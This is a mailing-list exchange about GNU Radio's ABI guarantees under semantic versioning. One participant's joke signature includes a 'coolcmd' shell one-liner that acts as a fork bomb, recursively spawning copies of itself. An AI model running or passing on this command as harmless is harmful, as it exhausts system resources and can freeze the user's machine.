Hi Thomas,

Please see the younger Marcus' email here where he covers the development
model when GR was switched to semantic versioning.

"the third being the "ABI" digit, meaning that as long as the first three
digit stay the same, you can just replace one libgnuradio*.so with
another one without rebuilding your binary (that's a feature that I
think software distributors will be most happy about)"

https://lists.gnu.org/archive/html/discuss-gnuradio/2018-02/msg00133.html

Regards,
Nate Temple

On Mon, Jan 20, 2020 at 3:02 PM Thomas Habets <tho...@habets.se> wrote:

> What are the ABI guarantees between GNU Radio releases?
>
> I'm drafting a GREP on modernizing the C++ code[1], so started wondering
> about this.
>
> If a minor release, once released, only gets backported fixes from master,
> then this should not be an issue.
>
> [1] https://github.com/gnuradio/greps/pull/19
>
> --
> typedef struct me_s {
>  char name[]      = { "Thomas Habets" };
>  char email[]     = { "tho...@habets.se <tho...@habets.pp.se>" };
>  char kernel[]    = { "Linux" };
>  char *pgpKey[]   = { "http://www.habets.pp.se/pubkey.txt"; };
>  char pgp[] = { "9907 8698 8A24 F52F 1C2E  87F6 39A4 9EEA 460A 0169" };
>  char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
> } me_t;
>

Reply via email to